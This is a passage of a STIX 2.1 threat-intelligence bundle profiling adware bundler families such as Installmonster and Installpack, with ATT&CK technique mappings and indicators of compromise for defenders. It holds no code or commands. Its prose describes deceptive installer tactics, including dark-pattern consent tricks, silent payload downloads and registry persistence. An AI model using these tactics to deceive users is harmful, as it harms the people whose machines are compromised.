        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93def384-12b1-543d-9060-2f78e2b9a40a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1ad5d4e-e167-542a-a351-fe81415f5a47",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installiq exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1510044-c862-536f-b013-56dce8c248b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1ad5d4e-e167-542a-a351-fe81415f5a47",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installiq exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0efc1712-9bcd-5a3a-bdee-e13d74e1ec57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1ad5d4e-e167-542a-a351-fe81415f5a47",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installiq exhibits technique T1105 (Ingress Tool Transfer (Downloading the adware payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96fa82a3-bef1-59d4-8cdd-0c5a0d8e5166",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1ad5d4e-e167-542a-a351-fe81415f5a47",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installiq exhibits technique T1176 (Browser Extensions (Installing the hijacked toolbars))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b7f9bee0-0289-59eb-bbc1-966df15907cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installm",
      "description": "Adware:Win32/Installm is a widespread Potentially Unwanted Program (PUP) categorized as a 'Bundler' or 'Wrapper'. Its primary function is to act as an installation conduit for other software. While it may install a legitimate freeware application the user intended to download, its deceptive core purpose is to silently package and install multiple other unwanted applications\u2014such as browser hijackers, fake system optimizers, and aggressive adware\u2014to generate pay-per-install revenue.<br><br><b>Understanding Installm (Software Bundling)</b><br>To an end-user, executing Installm looks like a normal, albeit cluttered, software setup wizard. However, if the user rapidly clicks 'Next' without reading the fine print (employing 'dark pattern' UI design), their machine is flooded with unwanted software. For a security administrator, Installm represents a significant risk to endpoint hygiene and a primary vector for introducing vulnerabilities and data-tracking components (`T1189`).<br><br><b>Execution and Deception Mechanics</b><br>Installm is heavily distributed via third-party software download portals or through deceptive advertisements offering 'free' utilities. Upon execution (`T1204.002`), the wrapper requests Administrator privileges. It then communicates with its backend servers (`T1105`) to download and silently install the bundled payloads in the background while displaying the installation progress for the primary application. These secondary payloads establish their own persistence (`T1547.001`), aggressively modify browser settings (`T1562.001`), and begin displaying intrusive advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, massive system slowdowns, and increased attack surface. Host-based IoCs include the sudden appearance of multiple unknown applications in the Windows 'Programs and Features' list occurring at the exact same timestamp, new browser extensions, and hijacked homepage settings. Network IoCs include EDR alerts for a single installer process (`installm.exe`) spawning multiple child setup processes or making numerous outbound connections to diverse software distribution domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installm"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55780bd3-f111-5d9d-9d30-ed8af0253c95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7f9bee0-0289-59eb-bbc1-966df15907cc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installm exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c8fc308-f9af-506a-a9d7-1d0400b6f8fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7f9bee0-0289-59eb-bbc1-966df15907cc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installm exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary bundled payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4234a4d-b657-5ebf-bb03-136213284738",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7f9bee0-0289-59eb-bbc1-966df15907cc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installm exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking by the payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8dc5b145-de70-5117-b1c9-ae054ec2924f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installmate",
      "description": "Adware:Win32/Installmate is a detection for a potentially malicious software packager or bundler. InstallMate itself (formerly Tarma InstallMate) is a legitimate software installation builder for Windows. However, much like Nullsoft (NSIS) or InnoSetup, the InstallMate engine is frequently abused by adware networks and malware authors to silently bundle unwanted programs, browser hijackers, and trojans alongside legitimate freeware (`T1189`).<br><br><b>Understanding Installmate (Software Bundlers)</b><br>To an end-user, executing an Installmate-packaged file looks like a standard software setup wizard. For a security analyst, a heuristic detection for Installmate implies that the package contains hidden payloads designed to install silently (`T1204.002`). The business model relies on Pay-Per-Install (PPI) networks, where the distributor gets paid for every extra toolbar or adware application they successfully sneak onto the victim's machine.<br><br><b>Execution and Bundling Mechanics</b><br>When the user runs the installer, the legitimate setup UI may present complex or deliberately confusing 'Custom Install' options. If the user clicks 'Next' without reading carefully, the Installmate package silently executes secondary installers in the background (`T1105`). These secondary payloads establish persistence (`T1547.001`), modify browser settings (`T1112`), and inject advertisements. Furthermore, advanced malware operators use these legitimate installer engines to bypass basic antivirus heuristics, as the outer wrapper is a known, digitally signed installation engine, hiding the malicious binaries encrypted within the installation archive (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from extreme annoyance (adware) to full system compromise (if the bundler drops a trojan). Host-based IoCs include EDR alerts for a single setup executable spawning multiple unrelated child processes (`msiexec.exe`, `cmd.exe`, or unknown binaries in `%Temp%`), sudden modifications to browser shortcut properties, and the appearance of unrequested desktop icons. Network IoCs include the installer reaching out to affiliate networks to register a successful installation and download the secondary payloads. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installmate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installmate"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8208bb5d-9a26-59ba-b8a0-9eea96d2fa19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc5b145-de70-5117-b1c9-ae054ec2924f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmate exhibits technique T1189 (Drive-by Compromise (Bundled installations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b605b1ba-44f9-521c-b8b4-60ee9b2b21c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc5b145-de70-5117-b1c9-ae054ec2924f",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmate exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--294a23fa-c5c5-5a99-b787-cd3955bbcdce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc5b145-de70-5117-b1c9-ae054ec2924f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmate exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f23b03e5-872f-50de-a1fb-d2b28be38d51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8dc5b145-de70-5117-b1c9-ae054ec2924f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmate exhibits technique T1105 (Ingress Tool Transfer (Downloading bundled payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47f83d35-da53-5be4-aaea-9862fd27e994",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installmetrix",
      "description": "Adware:Win32/Installmetrix (often detected as PUA:Win32/Installmetrix) is a pervasive commercial **Pay-Per-Install (PPI) bundling framework**. It is designed to take a legitimate freeware application (like an open-source media player or file archiver) and 'wrap' it in a custom installation wizard. The core objective of this wrapper is to use deceptive 'Dark Patterns' to trick the user into 'consenting' to the installation of multiple secondary payloads\u2014typically aggressive adware, browser hijackers, and rogue system optimizers\u2014alongside the desired software.<br><br><b>Understanding Installmetrix and PPI Networks</b><br>To an end-user, Installmetrix looks like a standard software setup wizard. For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC and a major source of Help Desk tickets due to degraded system performance and intrusive pop-ups. The developers of the wrapper are financially compensated by adware vendors for every successful installation of the bundled junkware.<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Installmetrix is usually encountered when users download software from untrustworthy, third-party software aggregators rather than official vendor sites (`T1204.002`). Upon execution, the wrapper initiates (`T1189`). It employs Dark Patterns, such as pre-checked 'Accept' boxes buried deep in the EULA, confusingly worded 'Decline' buttons that actually accept the offer, or an 'Express Install' option that silently drops all bundled software (`T1036`). The secondary payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, unauthorized tracking of browsing habits, and potential exposure to more severe malware via injected malicious ads. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) spawning multiple child installers (`msiexec.exe`) for unrelated software. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installmetrix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installmetrix"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3272624b-b9a2-5ef6-a143-c874e08e9b08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47f83d35-da53-5be4-aaea-9862fd27e994",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmetrix exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a553e344-1bd9-5f3b-b98c-40df21a8a2fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47f83d35-da53-5be4-aaea-9862fd27e994",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmetrix exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b49e5ac-4549-55f9-8bef-07d0d1d3841f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47f83d35-da53-5be4-aaea-9862fd27e994",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmetrix exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ece6fcf-5d52-52db-b2fd-7121fa56fad0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47f83d35-da53-5be4-aaea-9862fd27e994",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmetrix exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2cb8e0ff-c7cc-54d3-82dc-7e5a41bd8a2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installmonetizer",
      "description": "Adware:Win32/Installmonetizer is a massive, commercial Pay-Per-Install (PPI) bundler framework. It is not a single piece of adware, but rather the distribution engine utilized by hundreds of different Potentially Unwanted Programs (PUAs). Its sole purpose is to act as a deceptive 'wrapper' around legitimate freeware, tricking users into installing highly intrusive browser hijackers, system optimizers, and tracking toolbars to generate affiliate revenue for the software distributors.<br><br><b>Understanding Installmonetizer</b><br>To an end-user, Installmonetizer is the annoying 'Next, Next, Next' wizard they click through when downloading a free PDF reader from a third-party portal. For a corporate IT Helpdesk, Installmonetizer is responsible for a massive percentage of 'slow computer' and 'browser hijacked' tickets. It represents a significant failure in endpoint control, introducing numerous unvetted applications into the environment.<br><br><b>Execution and Dark Patterns</b><br>Installmonetizer thrives on deceptive UI design, known as 'Dark Patterns' (`T1204.002`). During installation, it presents pre-checked boxes, confusing double-negatives ('Decline to not install'), and hidden 'Custom Installation' menus to trick the user into granting consent for secondary payloads (`T1189`). Once executed, it acts as a downloader (`T1105`). It contacts the PPI network's servers, assesses the target's geography and OS, and downloads the highest-paying adware payloads currently available. It then installs these payloads (BHOs, extensions, registry hooks) (`T1176`) silently in the background while the user focuses on the main freeware installation.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the introduction of multiple secondary adware infections, severely degrading system performance and violating user privacy. IoCs include EDR alerts for unsigned installer executables dropping numerous MSIs and EXEs into the `%Temp%` directory. Network logs will show bursts of HTTP/HTTPS traffic to known PPI distribution networks (often dynamically generated domains) during the software installation phase. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installmonetizer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installmonetizer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a3a0801-16c2-5c55-9040-15fbb1e99586",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cb8e0ff-c7cc-54d3-82dc-7e5a41bd8a2b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonetizer exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4be2776-e00d-5d6d-b587-089b1c384e1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cb8e0ff-c7cc-54d3-82dc-7e5a41bd8a2b",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonetizer exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef0d49bb-00bb-5abd-87f3-86266724258c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cb8e0ff-c7cc-54d3-82dc-7e5a41bd8a2b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonetizer exhibits technique T1105 (Ingress Tool Transfer (Downloading the adware payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd3f6687-0ca6-5476-b98a-753679a4bd39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2cb8e0ff-c7cc-54d3-82dc-7e5a41bd8a2b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonetizer exhibits technique T1176 (Browser Extensions (Installing the hijacked toolbars))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d40b972a-1277-5610-82fc-06e83a8ec043",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installmonster",
      "description": "InstallMonster (documented across enterprise threat intelligence as Adware.InstallMonster, PUA:Win32/InstallMonster, and Trojan.InstallMonster) is an aggressive Russian pay-per-install (PPI) software bundler and distribution platform analyzed by Malwarebytes, Trend Micro, and Microsoft Defender. Operating through an affiliate network, InstallMonster packages popular freeware utilities, video players, and gaming mods inside wrapper executables. When a user runs the installer, the wrapper silently contacts affiliate command-and-control servers to download and install multiple secondary payloads, including intrusive adware, browser hijackers, search redirectors, and unauthorized system maintenance utilities. InstallMonster creates persistent Windows Scheduled Tasks, registers registry auto-start keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, and injects commercial tracking components into installed web browsers to monetize victim traffic. (Observed samples in benchmark: 16,691)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.InstallMonster",
        "PUA:Win32/InstallMonster",
        "Trojan.InstallMonster",
        "Win32/Amonetize.Bundler",
        "PUP.Optional.InstallMonster",
        "InstallCube"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installmonster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installmonster"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e30d966e-4bb6-530b-8784-b492bc251ccc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d40b972a-1277-5610-82fc-06e83a8ec043",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonster exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50d9f720-da29-5381-b3a8-81fc27bfa708",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d40b972a-1277-5610-82fc-06e83a8ec043",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonster exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--968812d0-f888-5e45-84a0-155f5f30cfa0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d40b972a-1277-5610-82fc-06e83a8ec043",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonster exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--669a1a0d-53da-5031-8859-a8fcd0c019fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d40b972a-1277-5610-82fc-06e83a8ec043",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonster exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9c3c0a1-0e07-5622-b33a-a4949639a0ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d40b972a-1277-5610-82fc-06e83a8ec043",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installmonster exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--69697fde-8351-5304-a737-bee9edf4468e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installpack",
      "description": "Adware:Win32/Installpack is a generic classification for highly aggressive Software Bundlers and Pay-Per-Install (PPI) monetizers. These are the engines that drive the distribution of Potentially Unwanted Programs (PUAs), adware, and sometimes actual malware, by wrapping legitimate freeware in a deceptive, payload-laden installation wrapper.<br><br><b>Understanding the Installpack Threat</b><br>To an end-user, they believe they are simply downloading a free PDF reader or media player. For a security analyst, an Installpack detection indicates a failure of security awareness and the introduction of multiple unknown variables into the environment. The primary danger of Installpack is not the wrapper itself, but the multiple, often highly persistent payloads it silently drops on the system.<br><br><b>Execution and Bundling Mechanics</b><br>Installpack wrappers are distributed heavily via SEO poisoning (ranking high when users search for free software) and malvertising (`T1189`). During execution (`T1204.002`), the installer employs 'Dark Patterns'\u2014hiding the adware installation behind 'Express Install' or 'Advanced Options' buttons, pre-checking boxes to install secondary software. As the primary (legitimate) software installs, the Installpack silently reaches out to its C2 network to pull down the most profitable current payloads (adware extensions, scareware, browser hijackers). It then executes these secondary installers (`T1105`), resulting in a cascade of unauthorized system modifications, registry hooks (`T1547.001`), and rogue browser extensions (`T1176`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a massively degraded user experience, browser hijacking, and a high risk of secondary severe infections. IoCs include EDR alerts for the execution of unsigned installers from the `%Downloads%` folder, followed immediately by the creation of multiple unknown processes and the modification of browser registry keys (`HKLM\\SOFTWARE\\Policies\\Google\\Chrome`). (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Installpack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/installpack"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3f2a6c6-42c5-53d7-bc09-c9ca6bbbbda4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69697fde-8351-5304-a737-bee9edf4468e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installpack exhibits technique T1189 (Drive-by Compromise (Bundled Installers via SEO poisoning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b083962f-36a4-5a3a-a829-544788539a50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69697fde-8351-5304-a737-bee9edf4468e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installpack exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary adware payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7e10c63-db1b-5f0e-b327-be9c8974684d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69697fde-8351-5304-a737-bee9edf4468e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installpack exhibits technique T1176 (Browser Extensions (Bundled adware extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98e10c8c-598c-52a6-b0ea-f8e5b9a042b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69697fde-8351-5304-a737-bee9edf4468e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Installpack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e759ee1a-bc05-59a1-9f6d-1dc9a3315b12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Installtoolbar",
